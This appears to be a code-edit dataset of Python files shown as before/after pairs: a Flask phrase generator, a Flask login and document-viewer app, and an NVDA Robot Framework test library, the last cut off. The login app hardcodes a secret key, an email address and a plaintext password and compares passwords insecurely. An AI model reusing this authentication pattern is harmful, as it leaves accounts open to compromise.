6: f"{r.choice(partsOfSpeech['verbs']).title()} what you {r.choice(partsOfSpeech['verbs'])}, {r.choice(partsOfSpeech['verbs'])} what you {r.choice(partsOfSpeech['verbs'])}",
7: f"Your {r.choice(partsOfSpeech['nouns2'])} is your own {r.choice(partsOfSpeech['nouns2'])}",
8: f"{r.choice(partsOfSpeech['nouns2']).title()} has no limit, {r.choice(partsOfSpeech['nouns2'])} has no enemy",
9: f"{r.choice(partsOfSpeech['verbs']).title()} yourself so that you may know to to {r.choice(partsOfSpeech['verbs'])} with {r.choice(partsOfSpeech['nouns2'])}",
10: f"You don't need {r.choice(partsOfSpeech['nouns2'])} if you are {r.choice(partsOfSpeech['nouns2'])}",
11: f"{r.choice(partsOfSpeech['verbs']).title()} the sequence of {r.choice(partsOfSpeech['nouns2'])}, the consequences will always be {r.choice(partsOfSpeech['adjectives'])}",
12: f"People who {r.choice(partsOfSpeech['verbs'])} are {r.choice(partsOfSpeech['adjectives'])}",
13: f"Be {r.choice(partsOfSpeech['adjectives'])}",
14: f"{r.choice(partsOfSpeech['nouns2']).title()} is the constant state of {r.choice(partsOfSpeech['nouns2'])} for others",
15: f"{r.choice(partsOfSpeech['verbs']).title()} by your inner {r.choice(partsOfSpeech['nouns2'])}",
16: f"Develop the power of {r.choice(partsOfSpeech['nouns2'])}",
17: f"People who {r.choice(partsOfSpeech['verbs'])} are {r.choice(partsOfSpeech['adjectives'])}",
18: f"The principal ingredient of {r.choice(partsOfSpeech['nouns2'])} is {r.choice(partsOfSpeech['nouns2'])}",
19: "You're already dead",
20: f"{r.choice(partsOfSpeech['nouns1']).title()} of {r.choice(partsOfSpeech['nouns2'])}",
21: f"You are {r.choice(partsOfSpeech['adjectives'])}",
22: f"{r.choice(partsOfSpeech['verbs']).title()} {r.choice(partsOfSpeech['adverbs'])}; you will build up {r.choice(partsOfSpeech['nouns1'])} of {r.choice(partsOfSpeech['nouns2'])}",
23: f"{r.choice(partsOfSpeech['verbs']).title()} to make yourself {r.choice(partsOfSpeech['adjectives'])}",
24: f"{r.choice(partsOfSpeech['nouns2']).title()} is {r.choice(partsOfSpeech['nouns1'])}",
25: f"It is not to talk of {r.choice(partsOfSpeech['nouns2'])} but to {r.choice(partsOfSpeech['verbs'])} {r.choice(partsOfSpeech['nouns2'])} that is {r.choice(partsOfSpeech['nouns2'])}",
26: f"{r.choice(partsOfSpeech['nouns2']).title()} is for now, {r.choice(partsOfSpeech['nouns2'])} is for the future",
27: f"{r.choice(partsOfSpeech['verbs']).title()} what you {r.choice(partsOfSpeech['verbs'])}, {r.choice(partsOfSpeech['verbs'])} what you {r.choice(partsOfSpeech['verbs'])}",
28: f"Your {r.choice(partsOfSpeech['nouns2'])} is your own {r.choice(partsOfSpeech['nouns2'])}",
29: f"{r.choice(partsOfSpeech['nouns2']).title()} has no limit, {r.choice(partsOfSpeech['nouns2'])} has no enemy",
30: f"{r.choice(partsOfSpeech['verbs']).title()} yourself so that you may know to to {r.choice(partsOfSpeech['verbs'])} with {r.choice(partsOfSpeech['nouns2'])}",
31: f"You don't need {r.choice(partsOfSpeech['nouns2'])} if you are {r.choice(partsOfSpeech['nouns2'])}",
32: f"{r.choice(partsOfSpeech['verbs']).title()} the sequence of {r.choice(partsOfSpeech['nouns2'])}, the consequences will always be {r.choice(partsOfSpeech['adjectives'])}",
33: f"People who {r.choice(partsOfSpeech['verbs'])} are {r.choice(partsOfSpeech['adjectives'])}",
34: f"Be {r.choice(partsOfSpeech['adjectives'])}",
35: f"{r.choice(partsOfSpeech['nouns2']).title()} is the constant state of {r.choice(partsOfSpeech['nouns2'])} for others",
36: f"{r.choice(partsOfSpeech['verbs']).title()} by your inner {r.choice(partsOfSpeech['nouns2'])}",
37: f"Develop the power of {r.choice(partsOfSpeech['nouns2'])}",
38: f"People who {r.choice(partsOfSpeech['verbs'])} are {r.choice(partsOfSpeech['adjectives'])}",
39: f"The principal ingredient of {r.choice(partsOfSpeech['nouns2'])} is {r.choice(partsOfSpeech['nouns2'])}",
40: f"{r.choice(partsOfSpeech['nouns1']).title()} of {r.choice(partsOfSpeech['nouns2'])}",
}
@app.route('/') # endpoint of domain name
def teaBagger():
phrases = list(range(len(phraseDict)))
phraseKey = r.choice(phrases)
sentence = phraseDict[phraseKey]
return render_template('teasite.jinja2', sentence=sentence)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 5000)))
|
from models import db_session, User
from flask import Flask, request, url_for, redirect, render_template
from models import Claim
from models import Document
from models import Attribution
from models import Entity
from models import Perspective
from flask_login import current_user
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
import sqlalchemy
import flask_login
login_manager = flask_login.LoginManager()
app = Flask(__name__)
login_manager.init_app(app)
app.secret_key = 'AGhauch3woo5xee'
client = app.test_client()
users = {'p.t.j.m.vossen@vu.nl': {'password': 'xxxxxx'}}
session = db_session()
analyser = SentimentIntensityAnalyzer()
CLAIMS_ATTRIBUTIONS = {doc_id:sent_id for sent_id, doc_id in
session.query(Claim.sent_id, Claim.doc_id).filter(Attribution.sent_id == Claim.sent_id,
Attribution.doc_id == Claim.doc_id).all()}
ENTITIES = {e[0].lower(): e[1] for e in set(session.query(Entity.value, Entity.type).all())}
@login_manager.user_loader
def user_loader(email):
if email not in users:
return
user = User()
user.id = email
return user
@login_manager.request_loader
def request_loader(request):
email = request.form.get('email')
if email not in users:
return
user = User()
user.id = email
# DO NOT ever store passwords in plaintext and always compare password
# hashes using constant-time comparison!
user.is_authenticated = request.form['password'] == users[email]['password']
return user
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
email = request.form['email']
if request.form['password'] == users[email]['password']:
user = User()
user.id = email
flask_login.login_user(user)
return redirect(url_for('viewer'))
if request.method == 'GET' and current_user.is_authenticated is False:
return render_template('login.html')
return redirect(url_for('viewer'))
class PerspectiveViewer:
def __init__(self, serialized_perspective):
self.mapping = serialized_perspective['term_to_word']
self.statement = serialized_perspective['statement']
self.cue = serialized_perspective['cue']
self.opinion_info = serialized_perspective['opinion_info']
self.roles_span = serialized_perspective['roles_span']
self.source_entity = serialized_perspective['source_entity']
self.doc_id = serialized_perspective['doc_id']
self.sentiment = serialized_perspective['sentiment']
def get_key(self, tid):
roles = [key for (key, value) in self.roles_span.items() if tid in value]
if not roles:
if self.mapping[tid] == self.cue:
return "CUE"
return None
return roles.pop()
def get_opinion_info(self):
return [f"<p>expression: {opinion["expression"]}, target: {opinion["target"]}, polarity: {opinion["polarity"]}</p>" for opinion in self.opinion_info]
def construct_statement(self):
return [(self.mapping[token_id], token_id) for token_id in sorted(self.mapping, key=lambda x: int(x[1:]))]
@app.route('/viewer/<int:doc_id>', methods=['GET'])
@app.route('/viewer', methods=['GET'])
@flask_login.login_required
def viewer(doc_id=None):
all_docs = ([doc.id, doc.name] for doc in Document.query.all())
try:
if doc_id:
doc = Perspective.query.filter_by(doc_id=doc_id).all()
article = Document.query.filter_by(id=doc_id).one().name
claims = [c.serialize for c in Claim.query.filter_by(doc_id=doc_id).all()]
attributions = [a.serialize for a in doc]
perspectives = [PerspectiveViewer(pers.serialize) for pers in doc]
entities = [a.serialize for a in Entity.query.filter_by(doc_id=doc_id).all()]
raw_text = Document.query.filter_by(id=doc_id).one().serialize
return render_template('viewer.html', doc_name=article, raw_text=raw_text, claims=claims,
attributions=attributions, doc_nav=all_docs,
perspectives=perspectives)
except sqlalchemy.orm.exc.NoResultFound as e:
return render_template('404.html'), 404
return render_template('viewer.html', doc_nav=all_docs)
@app.route('/logout')
def logout():
flask_login.logout_user()
return redirect(url_for('login'))
@app.route('/')
def index():
return redirect(url_for('login'))
class AuthError(Exception):
def __init__(self, error, status_code):
self.error = error
self.status_code = status_code
@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('403.html')
# raise AuthError({"code": "unathorized",
# "description": "Not allowed"}, 403)
@app.teardown_appcontext
def shutdown_session(exception=None):
db_session.remove()
if __name__ == '__main__':
app.run(threaded=True, debug=True, port=8999)
| from models import db_session, User
from flask import Flask, request, url_for, redirect, render_template
from models import Claim
from models import Document
from models import Attribution
from models import Entity
from models import Perspective
from flask_login import current_user
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
import sqlalchemy
import flask_login
login_manager = flask_login.LoginManager()
app = Flask(__name__)
login_manager.init_app(app)
app.secret_key = 'AGhauch3woo5xee'
client = app.test_client()
users = {'p.t.j.m.vossen@vu.nl': {'password': 'xxxxxx'}}
session = db_session()
analyser = SentimentIntensityAnalyzer()
CLAIMS_ATTRIBUTIONS = {doc_id:sent_id for sent_id, doc_id in
session.query(Claim.sent_id, Claim.doc_id).filter(Attribution.sent_id == Claim.sent_id,
Attribution.doc_id == Claim.doc_id).all()}
ENTITIES = {e[0].lower(): e[1] for e in set(session.query(Entity.value, Entity.type).all())}
@login_manager.user_loader
def user_loader(email):
if email not in users:
return
user = User()
user.id = email
return user
@login_manager.request_loader
def request_loader(request):
email = request.form.get('email')
if email not in users:
return
user = User()
user.id = email
# DO NOT ever store passwords in plaintext and always compare password
# hashes using constant-time comparison!
user.is_authenticated = request.form['password'] == users[email]['password']
return user
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
email = request.form['email']
if request.form['password'] == users[email]['password']:
user = User()
user.id = email
flask_login.login_user(user)
return redirect(url_for('viewer'))
if request.method == 'GET' and current_user.is_authenticated is False:
return render_template('login.html')
return redirect(url_for('viewer'))
class PerspectiveViewer:
def __init__(self, serialized_perspective):
self.mapping = serialized_perspective['term_to_word']
self.statement = serialized_perspective['statement']
self.cue = serialized_perspective['cue']
self.opinion_info = serialized_perspective['opinion_info']
self.roles_span = serialized_perspective['roles_span']
self.source_entity = serialized_perspective['source_entity']
self.doc_id = serialized_perspective['doc_id']
self.sentiment = serialized_perspective['sentiment']
def get_key(self, tid):
roles = [key for (key, value) in self.roles_span.items() if tid in value]
if not roles:
if self.mapping[tid] == self.cue:
return "CUE"
return None
return roles.pop()
def get_opinion_info(self):
return [f"<p>expression: {opinion['expression']}, target: {opinion['target']}, polarity: {opinion['polarity']}</p>" for opinion in self.opinion_info]
def construct_statement(self):
return [(self.mapping[token_id], token_id) for token_id in sorted(self.mapping, key=lambda x: int(x[1:]))]
@app.route('/viewer/<int:doc_id>', methods=['GET'])
@app.route('/viewer', methods=['GET'])
@flask_login.login_required
def viewer(doc_id=None):
all_docs = ([doc.id, doc.name] for doc in Document.query.all())
try:
if doc_id:
doc = Perspective.query.filter_by(doc_id=doc_id).all()
article = Document.query.filter_by(id=doc_id).one().name
claims = [c.serialize for c in Claim.query.filter_by(doc_id=doc_id).all()]
attributions = [a.serialize for a in doc]
perspectives = [PerspectiveViewer(pers.serialize) for pers in doc]
entities = [a.serialize for a in Entity.query.filter_by(doc_id=doc_id).all()]
raw_text = Document.query.filter_by(id=doc_id).one().serialize
return render_template('viewer.html', doc_name=article, raw_text=raw_text, claims=claims,
attributions=attributions, doc_nav=all_docs,
perspectives=perspectives)
except sqlalchemy.orm.exc.NoResultFound as e:
return render_template('404.html'), 404
return render_template('viewer.html', doc_nav=all_docs)
@app.route('/logout')
def logout():
flask_login.logout_user()
return redirect(url_for('login'))
@app.route('/')
def index():
return redirect(url_for('login'))
class AuthError(Exception):
def __init__(self, error, status_code):
self.error = error
self.status_code = status_code
@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('403.html')
# raise AuthError({"code": "unathorized",
# "description": "Not allowed"}, 403)
@app.teardown_appcontext
def shutdown_session(exception=None):
db_session.remove()
if __name__ == '__main__':
app.run(threaded=True, debug=True, port=8999)
|
# A part of NonVisual Desktop Access (NVDA)
# Copyright (C) 2020 NV Access Limited
# This file may be used under the terms of the GNU General Public License, version 2 or later.
# For more details see: https://www.gnu.org/licenses/gpl-2.0.html
"""This file provides robot library functions for NVDA system tests.
It contains helper methods for system tests, most specifically related to NVDA
- setup config,
- starting
- quiting
- config cleanup
This is in contrast with the `SystemTestSpy/speechSpy*.py files,
which provide library functions related to monitoring NVDA and asserting NVDA output.
"""
# imported methods start with underscore (_) so they don't get imported into robot files as keywords
from os.path import join as _pJoin, abspath as _abspath, expandvars as _expandvars
import tempfile as _tempFile
from typing import Optional
from urllib.parse import quote as _quoteStr
from robotremoteserver import (
test_remote_server as _testRemoteServer,
stop_remote_server as _stopRemoteServer,
)
from SystemTestSpy import (
_blockUntilConditionMet,
_getLib,
_nvdaSpyAlias,
configManager
)
# Imported for type information
from robot.libraries.BuiltIn import BuiltIn
from robot.libraries.OperatingSystem import OperatingSystem as _OpSysLib
from robot.libraries.Process import Process as _Process
from robot.libraries.Remote import Remote as _Remote
builtIn: BuiltIn = BuiltIn()
opSys: _OpSysLib = _getLib('OperatingSystem')
process: _Process = _getLib('Process')
class _NvdaLocationData:
def __init__(self):
# robot is expected to be run from the NVDA repo root directory. We want all repo specific
# paths to be relative to this. This would allow us to change where it is run from if we decided to.
self.repoRoot = _abspath("./")
self.stagingDir = _tempFile.gettempdir()
opSys.directory_should_exist(self.stagingDir)
self.whichNVDA = builtIn.get_variable_value("${whichNVDA}", "source")
self._installFilePath = builtIn.get_variable_value("${installDir}", None)
self.NVDAInstallerCommandline = None
if self.whichNVDA == "source":
self._runNVDAFilePath = _pJoin(self.repoRoot, "runnvda.bat")
self.baseNVDACommandline = self._runNVDAFilePath
elif self.whichNVDA == "installed":
self._runNVDAFilePath = self.findInstalledNVDAPath()
self.baseNVDACommandline = f'"{str(self._runNVDAFilePath)}"'
if self._installFilePath is not None:
self.NVDAInstallerCommandline = f'"{str(self._installFilePath)}"'
else:
raise AssertionError("RobotFramework should be run with argument: '-v whichNVDA:[source|installed]'")
self.profileDir = _pJoin(self.stagingDir, "nvdaProfile")
self.logPath = _pJoin(self.profileDir, 'nvda.log')
self.preservedLogsDir = _pJoin(
builtIn.get_variable_value("${OUTPUT DIR}"),
"nvdaTestRunLogs"
)
def findInstalledNVDAPath(self) -> Optional[str]:
NVDAFilePath = _pJoin(_expandvars('%PROGRAMFILES%'), 'nvda', 'nvda.exe')
legacyNVDAFilePath = _pJoin(_expandvars('%PROGRAMFILES%'), 'NVDA', 'nvda.exe')
exeErrorMsg = f"Unable to find installed NVDA exe. Paths tried: {NVDAFilePath}, {legacyNVDAFilePath}"
try:
opSys.file_should_exist(NVDAFilePath)
return NVDAFilePath
except AssertionError:
# Older versions of NVDA (<=2020.4) install the exe in NVDA\nvda.exe
opSys.file_should_exist(legacyNVDAFilePath, exeErrorMsg)
return legacyNVDAFilePath
def ensureInstallerPathsExist(self):
fileWarnMsg = f"Unable to run NVDA installer unless path exists. Path given: {self._installFilePath}"
opSys.file_should_exist(self._installFilePath, fileWarnMsg)
opSys.create_directory(self.profileDir)
opSys.create_directory(self.preservedLogsDir)
def ensurePathsExist(self):
fileWarnMsg = f"Unable to run NVDA installer unless path exists. Path given: {self._runNVDAFilePath}"
opSys.file_should_exist(self._runNVDAFilePath, fileWarnMsg)
opSys.create_directory(self.profileDir)
opSys.create_directory(self.preservedLogsDir)
_locations = _NvdaLocationData()
class NvdaLib:
"""Robot Framework library for interacting with NVDA.
Notable:
- NvdaLib.nvdaSpy is a library instance for getting speech and other information out of NVDA
"""
def __init__(self):
self.nvdaSpy = None #: Optional[SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib]
self.nvdaHandle: Optional[int] = None
@staticmethod
def _createTestIdFileName(name):
suiteName = builtIn.get_variable_value("${SUITE NAME}")
testName = builtIn.get_variable_value("${TEST NAME}")
outputFileName = f"{suiteName}-{testName}-{name}".replace(" ", "_")
outputFileName = _quoteStr(outputFileName)
return outputFileName
@staticmethod
def setup_nvda_profile(configFileName):
configManager.setupProfile(
_locations.repoRoot,
configFileName,
_locations.stagingDir
)
@staticmethod
def teardown_nvda_profile():
configManager.teardownProfile(
_locations.stagingDir
)
nvdaProcessAlias = 'nvdaAlias'
_spyServerPort = 8270 # is `registered by IANA` for remote server usage. Two ASCII values:'RF'
_spyServerURI = f'http://127.0.0.1:{_spyServerPort}'
_spyAlias = _nvdaSpyAlias
def _startNVDAProcess(self):
"""Start NVDA.
Use debug logging, replacing any current instance, using the system test profile directory
"""
_locations.ensurePathsExist()
command = (
f"{_locations.baseNVDACommandline}"
f" --debug-logging"
f" -r"
f" -c \"{_locations.profileDir}\""
f" --log-file \"{_locations.logPath}\""
)
self.nvdaHandle = handle = process.start_process(
command,
shell=True,
alias=self.nvdaProcessAlias,
stdout=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stdout.txt")),
stderr=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stderr.txt")),
)
return handle
def _startNVDAInstallerProcess(self):
"""Start NVDA Installer.
Use debug logging, replacing any current instance, using the system test profile directory
"""
_locations.ensureInstallerPathsExist()
command = (
f"{_locations.NVDAInstallerCommandline}"
f" --debug-logging"
f" -r"
f" -c \"{_locations.profileDir}\""
f" --log-file \"{_locations.logPath}\""
)
self.nvdaHandle = handle = process.start_process(
command,
shell=True,
alias=self.nvdaProcessAlias,
stdout=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stdout.txt")),
stderr=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stderr.txt")),
)
return handle
def _connectToRemoteServer(self, connectionTimeoutSecs=10):
"""Connects to the nvdaSpyServer
Because we do not know how far through the startup NVDA is, we have to poll
to check that the server is available. Importing the library immediately seems
to succeed, but then calling a keyword later fails with RuntimeError:
"Connection to remote server broken: [Errno 10061]
No connection could be made because the target machine actively refused it"
Instead we wait until the remote server is available before importing the library and continuing.
"""
builtIn.log(f"Waiting for {self._spyAlias} to be available at: {self._spyServerURI}", level='DEBUG')
# Importing the 'Remote' library always succeeds, even when a connection can not be made.
# If that happens, then some 'Remote' keyword will fail at some later point.
# therefore we use '_testRemoteServer' to ensure that we can in fact connect before proceeding.
_blockUntilConditionMet(
getValue=lambda: _testRemoteServer(self._spyServerURI, log=False),
giveUpAfterSeconds=connectionTimeoutSecs,
errorMessage=f"Unable to connect to {self._spyAlias}",
)
builtIn.log(f"Connecting to {self._spyAlias}", level='DEBUG')
# If any remote call takes longer than this, the connection will be closed!
maxRemoteKeywordDurationSeconds = 30
builtIn.import_library(
"Remote", # name of library to import
# Arguments to construct the library instance:
f"uri={self._spyServerURI}",
f"timeout={maxRemoteKeywordDurationSeconds}",
# Set an alias for the imported library instance
"WITH NAME",
self._spyAlias,
)
builtIn.log(f"Getting {self._spyAlias} library instance", level='DEBUG')
self.nvdaSpy = self._addMethodsToSpy(builtIn.get_library_instance(self._spyAlias))
# Ensure that keywords timeout before `timeout` given to `Remote` library,
# otherwise we lose control over NVDA.
self.nvdaSpy.init_max_keyword_duration(maxSeconds=maxRemoteKeywordDurationSeconds)
@staticmethod
def _addMethodsToSpy(remoteLib: _Remote):
""" Adds a method for each keywords on the remote library.
@param remoteLib: the library to augment with methods.
@rtype: SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib
@return: The library augmented with methods for all keywords.
"""
# Add methods back onto the lib so they can be called directly rather than manually calling run_keyword
def _makeKeywordCaller(lib, keyword):
def runKeyword(*args, **kwargs):
builtIn.log(
f"{keyword}"
f"{f" {args}" if args else ""}"
f"{f" {kwargs}" if kwargs else ""}"
)
return lib.run_keyword(keyword, args, kwargs)
return runKeyword
for name in remoteLib.get_keyword_names():
setattr(
remoteLib,
name,
_makeKeywordCaller(remoteLib, name)
)
return remoteLib
def start_NVDAInstaller(self, settingsFileName):
builtIn.log(f"Starting NVDA with config: {settingsFileName}")
self.setup_nvda_profile(settingsFileName)
nvdaProcessHandle = self._startNVDAInstallerProcess()
process.process_should_be_running(nvdaProcessHandle)
# Timeout is increased due to the installer load time and start up splash sound
self._connectToRemoteServer(connectionTimeoutSecs=30)
self.nvdaSpy.wait_for_NVDA_startup_to_complete()
return nvdaProcessHandle
def start_NVDA(self, settingsFileName):
builtIn.log(f"Starting NVDA with config: {settingsFileName}")
self.setup_nvda_profile(settingsFileName)
nvdaProcessHandle = self._startNVDAProcess()
process.process_should_be_running(nvdaProcessHandle)
self._connectToRemoteServer()
self.nvdaSpy.wait_for_NVDA_startup_to_complete()
return nvdaProcessHandle
def save_NVDA_log(self):
"""NVDA logs are saved to the ${OUTPUT DIR}/nvdaTestRunLogs/${SUITE NAME}-${TEST NAME}-nvda.log"""
builtIn.log("Saving NVDA log")
saveToPath = self.create_preserved_test_output_filename("nvda.log")
opSys.copy_file(
_locations.logPath,
saveToPath
)
builtIn.log(f"Log saved to: {saveToPath}", level='DEBUG')
def create_preserved_test_output_filename(self, fileName):
"""EG for nvda.log path will become:
${OUTPUT DIR}/nvdaTestRunLogs/${SUITE NAME}-${TEST NAME}-nvda.log
"""
return _pJoin(_locations.preservedLogsDir, self._createTestIdFileName(fileName))
def quit_NVDA(self):
builtIn.log("Stopping nvdaSpy server: {}".format(self._spyServerURI))
try:
_stopRemoteServer(self._spyServerURI, log=False)
process.run_process(
f"{_locations.baseNVDACommandline} -q --disable-addons",
shell=True,
)
process.wait_for_process(self.nvdaHandle)
except Exception:
raise
finally:
self.save_NVDA_log()
# remove the spy so that if nvda is run manually against this config it does not interfere.
self.teardown_nvda_profile()
def quit_NVDAInstaller(self):
builtIn.log("Stopping nvdaSpy server: {}".format(self._spyServerURI))
self.nvdaSpy.emulateKeyPress("insert+q")
self.nvdaSpy.wait_for_specific_speech("Exit NVDA")
self.nvdaSpy.emulateKeyPress("enter", blockUntilProcessed=False)
builtIn.sleep(1)
try:
_stopRemoteServer(self._spyServerURI, log=False)
except Exception:
raise
finally:
self.save_NVDA_log()
# remove the spy so that if nvda is run manually against this config it does not interfere.
self.teardown_nvda_profile()
def getSpyLib():
""" Gets the spy library instance. This has been augmented with methods for all supported keywords.
Requires NvdaLib and nvdaSpy (remote library - see speechSpyGlobalPlugin) to be initialised.
On failure check order of keywords in Robot log and NVDA log for failures.
@rtype: SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib
@return: Remote NVDA spy Robot Framework library.
"""
nvdaLib = _getLib("NvdaLib")
spy = nvdaLib.nvdaSpy
if spy is None:
raise AssertionError("Spy not yet available, check order of keywords and NVDA log for errors.")
return spy
| # A part of NonVisual Desktop Access (NVDA)
# Copyright (C) 2020 NV Access Limited
# This file may be used under the terms of the GNU General Public License, version 2 or later.
# For more details see: https://www.gnu.org/licenses/gpl-2.0.html
"""This file provides robot library functions for NVDA system tests.
It contains helper methods for system tests, most specifically related to NVDA
- setup config,
- starting
- quiting
- config cleanup
This is in contrast with the `SystemTestSpy/speechSpy*.py files,
which provide library functions related to monitoring NVDA and asserting NVDA output.
"""
# imported methods start with underscore (_) so they don't get imported into robot files as keywords
from os.path import join as _pJoin, abspath as _abspath, expandvars as _expandvars
import tempfile as _tempFile
from typing import Optional
from urllib.parse import quote as _quoteStr
from robotremoteserver import (
test_remote_server as _testRemoteServer,
stop_remote_server as _stopRemoteServer,
)
from SystemTestSpy import (
_blockUntilConditionMet,
_getLib,
_nvdaSpyAlias,
configManager
)
# Imported for type information
from robot.libraries.BuiltIn import BuiltIn
from robot.libraries.OperatingSystem import OperatingSystem as _OpSysLib
from robot.libraries.Process import Process as _Process
from robot.libraries.Remote import Remote as _Remote
builtIn: BuiltIn = BuiltIn()
opSys: _OpSysLib = _getLib('OperatingSystem')
process: _Process = _getLib('Process')
class _NvdaLocationData:
def __init__(self):
# robot is expected to be run from the NVDA repo root directory. We want all repo specific
# paths to be relative to this. This would allow us to change where it is run from if we decided to.
self.repoRoot = _abspath("./")
self.stagingDir = _tempFile.gettempdir()
opSys.directory_should_exist(self.stagingDir)
self.whichNVDA = builtIn.get_variable_value("${whichNVDA}", "source")
self._installFilePath = builtIn.get_variable_value("${installDir}", None)
self.NVDAInstallerCommandline = None
if self.whichNVDA == "source":
self._runNVDAFilePath = _pJoin(self.repoRoot, "runnvda.bat")
self.baseNVDACommandline = self._runNVDAFilePath
elif self.whichNVDA == "installed":
self._runNVDAFilePath = self.findInstalledNVDAPath()
self.baseNVDACommandline = f'"{str(self._runNVDAFilePath)}"'
if self._installFilePath is not None:
self.NVDAInstallerCommandline = f'"{str(self._installFilePath)}"'
else:
raise AssertionError("RobotFramework should be run with argument: '-v whichNVDA:[source|installed]'")
self.profileDir = _pJoin(self.stagingDir, "nvdaProfile")
self.logPath = _pJoin(self.profileDir, 'nvda.log')
self.preservedLogsDir = _pJoin(
builtIn.get_variable_value("${OUTPUT DIR}"),
"nvdaTestRunLogs"
)
def findInstalledNVDAPath(self) -> Optional[str]:
NVDAFilePath = _pJoin(_expandvars('%PROGRAMFILES%'), 'nvda', 'nvda.exe')
legacyNVDAFilePath = _pJoin(_expandvars('%PROGRAMFILES%'), 'NVDA', 'nvda.exe')
exeErrorMsg = f"Unable to find installed NVDA exe. Paths tried: {NVDAFilePath}, {legacyNVDAFilePath}"
try:
opSys.file_should_exist(NVDAFilePath)
return NVDAFilePath
except AssertionError:
# Older versions of NVDA (<=2020.4) install the exe in NVDA\nvda.exe
opSys.file_should_exist(legacyNVDAFilePath, exeErrorMsg)
return legacyNVDAFilePath
def ensureInstallerPathsExist(self):
fileWarnMsg = f"Unable to run NVDA installer unless path exists. Path given: {self._installFilePath}"
opSys.file_should_exist(self._installFilePath, fileWarnMsg)
opSys.create_directory(self.profileDir)
opSys.create_directory(self.preservedLogsDir)
def ensurePathsExist(self):
fileWarnMsg = f"Unable to run NVDA installer unless path exists. Path given: {self._runNVDAFilePath}"
opSys.file_should_exist(self._runNVDAFilePath, fileWarnMsg)
opSys.create_directory(self.profileDir)
opSys.create_directory(self.preservedLogsDir)
_locations = _NvdaLocationData()
class NvdaLib:
"""Robot Framework library for interacting with NVDA.
Notable:
- NvdaLib.nvdaSpy is a library instance for getting speech and other information out of NVDA
"""
def __init__(self):
self.nvdaSpy = None #: Optional[SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib]
self.nvdaHandle: Optional[int] = None
@staticmethod
def _createTestIdFileName(name):
suiteName = builtIn.get_variable_value("${SUITE NAME}")
testName = builtIn.get_variable_value("${TEST NAME}")
outputFileName = f"{suiteName}-{testName}-{name}".replace(" ", "_")
outputFileName = _quoteStr(outputFileName)
return outputFileName
@staticmethod
def setup_nvda_profile(configFileName):
configManager.setupProfile(
_locations.repoRoot,
configFileName,
_locations.stagingDir
)
@staticmethod
def teardown_nvda_profile():
configManager.teardownProfile(
_locations.stagingDir
)
nvdaProcessAlias = 'nvdaAlias'
_spyServerPort = 8270 # is `registered by IANA` for remote server usage. Two ASCII values:'RF'
_spyServerURI = f'http://127.0.0.1:{_spyServerPort}'
_spyAlias = _nvdaSpyAlias
def _startNVDAProcess(self):
"""Start NVDA.
Use debug logging, replacing any current instance, using the system test profile directory
"""
_locations.ensurePathsExist()
command = (
f"{_locations.baseNVDACommandline}"
f" --debug-logging"
f" -r"
f" -c \"{_locations.profileDir}\""
f" --log-file \"{_locations.logPath}\""
)
self.nvdaHandle = handle = process.start_process(
command,
shell=True,
alias=self.nvdaProcessAlias,
stdout=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stdout.txt")),
stderr=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stderr.txt")),
)
return handle
def _startNVDAInstallerProcess(self):
"""Start NVDA Installer.
Use debug logging, replacing any current instance, using the system test profile directory
"""
_locations.ensureInstallerPathsExist()
command = (
f"{_locations.NVDAInstallerCommandline}"
f" --debug-logging"
f" -r"
f" -c \"{_locations.profileDir}\""
f" --log-file \"{_locations.logPath}\""
)
self.nvdaHandle = handle = process.start_process(
command,
shell=True,
alias=self.nvdaProcessAlias,
stdout=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stdout.txt")),
stderr=_pJoin(_locations.preservedLogsDir, self._createTestIdFileName("stderr.txt")),
)
return handle
def _connectToRemoteServer(self, connectionTimeoutSecs=10):
"""Connects to the nvdaSpyServer
Because we do not know how far through the startup NVDA is, we have to poll
to check that the server is available. Importing the library immediately seems
to succeed, but then calling a keyword later fails with RuntimeError:
"Connection to remote server broken: [Errno 10061]
No connection could be made because the target machine actively refused it"
Instead we wait until the remote server is available before importing the library and continuing.
"""
builtIn.log(f"Waiting for {self._spyAlias} to be available at: {self._spyServerURI}", level='DEBUG')
# Importing the 'Remote' library always succeeds, even when a connection can not be made.
# If that happens, then some 'Remote' keyword will fail at some later point.
# therefore we use '_testRemoteServer' to ensure that we can in fact connect before proceeding.
_blockUntilConditionMet(
getValue=lambda: _testRemoteServer(self._spyServerURI, log=False),
giveUpAfterSeconds=connectionTimeoutSecs,
errorMessage=f"Unable to connect to {self._spyAlias}",
)
builtIn.log(f"Connecting to {self._spyAlias}", level='DEBUG')
# If any remote call takes longer than this, the connection will be closed!
maxRemoteKeywordDurationSeconds = 30
builtIn.import_library(
"Remote", # name of library to import
# Arguments to construct the library instance:
f"uri={self._spyServerURI}",
f"timeout={maxRemoteKeywordDurationSeconds}",
# Set an alias for the imported library instance
"WITH NAME",
self._spyAlias,
)
builtIn.log(f"Getting {self._spyAlias} library instance", level='DEBUG')
self.nvdaSpy = self._addMethodsToSpy(builtIn.get_library_instance(self._spyAlias))
# Ensure that keywords timeout before `timeout` given to `Remote` library,
# otherwise we lose control over NVDA.
self.nvdaSpy.init_max_keyword_duration(maxSeconds=maxRemoteKeywordDurationSeconds)
@staticmethod
def _addMethodsToSpy(remoteLib: _Remote):
""" Adds a method for each keywords on the remote library.
@param remoteLib: the library to augment with methods.
@rtype: SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib
@return: The library augmented with methods for all keywords.
"""
# Add methods back onto the lib so they can be called directly rather than manually calling run_keyword
def _makeKeywordCaller(lib, keyword):
def runKeyword(*args, **kwargs):
builtIn.log(
f"{keyword}"
